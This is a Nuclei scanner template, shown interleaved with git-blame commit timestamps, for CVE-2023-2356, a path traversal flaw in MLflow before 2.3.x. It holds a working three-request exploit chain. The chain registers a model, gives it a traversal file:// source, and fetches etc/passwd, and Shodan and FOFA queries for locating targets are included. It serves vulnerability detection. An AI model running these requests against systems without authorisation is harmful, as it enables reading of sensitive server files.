2023-05-04 12:59:25 +00:00
|
|
|
id: CVE-2023-2356
|
|
|
|
|
|
|
|
info:
|
2023-05-23 06:32:34 +00:00
|
|
|
name: Mlflow <2.3.0 - Local File Inclusion
|
2023-05-04 12:59:25 +00:00
|
|
|
author: Co5mos
|
2023-05-23 06:32:34 +00:00
|
|
|
severity: high
|
2023-05-04 12:59:25 +00:00
|
|
|
description: |
|
|
|
|
Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation could allow an attacker to read sensitive files on the server.
|
2023-09-06 11:43:37 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade Mlflow to version 2.3.0 or above to mitigate the vulnerability.
|
2023-05-04 12:59:25 +00:00
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/7b5d130d-38eb-4133-8c7d-0dfc9a9d9896/
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-2356
|
2023-07-11 19:49:27 +00:00
|
|
|
- https://github.com/mlflow/mlflow/commit/f73147496e05c09a8b83d95fb4f1bf86696c6342
|
2024-03-23 09:28:19 +00:00
|
|
|
- https://github.com/Ostorlab/KEV
|
|
|
|
- https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
|
2023-05-04 12:59:25 +00:00
|
|
|
classification:
|
2023-05-08 07:12:08 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
2023-05-04 12:59:25 +00:00
|
|
|
cve-id: CVE-2023-2356
|
|
|
|
cwe-id: CWE-23
|
2024-03-23 09:28:19 +00:00
|
|
|
epss-score: 0.00875
|
|
|
|
epss-percentile: 0.82072
|
2023-09-06 11:43:37 +00:00
|
|
|
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
|
2023-05-04 12:59:25 +00:00
|
|
|
metadata:
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-09-06 11:43:37 +00:00
|
|
|
max-request: 3
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: lfprojects
|
|
|
|
product: mlflow
|
2023-09-06 11:43:37 +00:00
|
|
|
shodan-query: http.title:"mlflow"
|
|
|
|
fofa-query: app="MLflow"
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve2023,cve,lfi,huntr,mlflow,oss,intrusive,lfprojects
|
2023-05-04 12:59:25 +00:00
|
|
|
variables:
|
|
|
|
str: "{{rand_base(6)}}"
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{"name": "{{str}}"}
|
|
|
|
- |
|
|
|
|
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
2023-05-23 06:32:34 +00:00
|
|
|
{"name": "{{str}}", "source": "file://{{Hostname}}/../../../../../../../"}
|
2023-05-04 12:59:25 +00:00
|
|
|
- |
|
|
|
|
GET /model-versions/get-artifact?path=etc/passwd&name={{str}}&version={{version}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2023-07-11 19:49:27 +00:00
|
|
|
- root:[x*]:0:0
|
2023-05-04 12:59:25 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: version
|
|
|
|
group: 1
|
|
|
|
regex:
|
2023-05-05 11:18:47 +00:00
|
|
|
- '"version": "([0-9.]+)",'
|
2023-07-11 19:49:27 +00:00
|
|
|
internal: true
|
|
|
|
part: body
|
2024-03-25 11:57:16 +00:00
|
|
|
# digest: 4a0a0047304502201dc691af618aeb7ae1784f119f04c2ae83a05a8b759601debe738dd5c11308e1022100a5df5635703f52bc26e0ed9760ccc09d6f92a23a35e8c13c9b272a203d54b34a:922c64590222798bb761d5b6d8e72950
|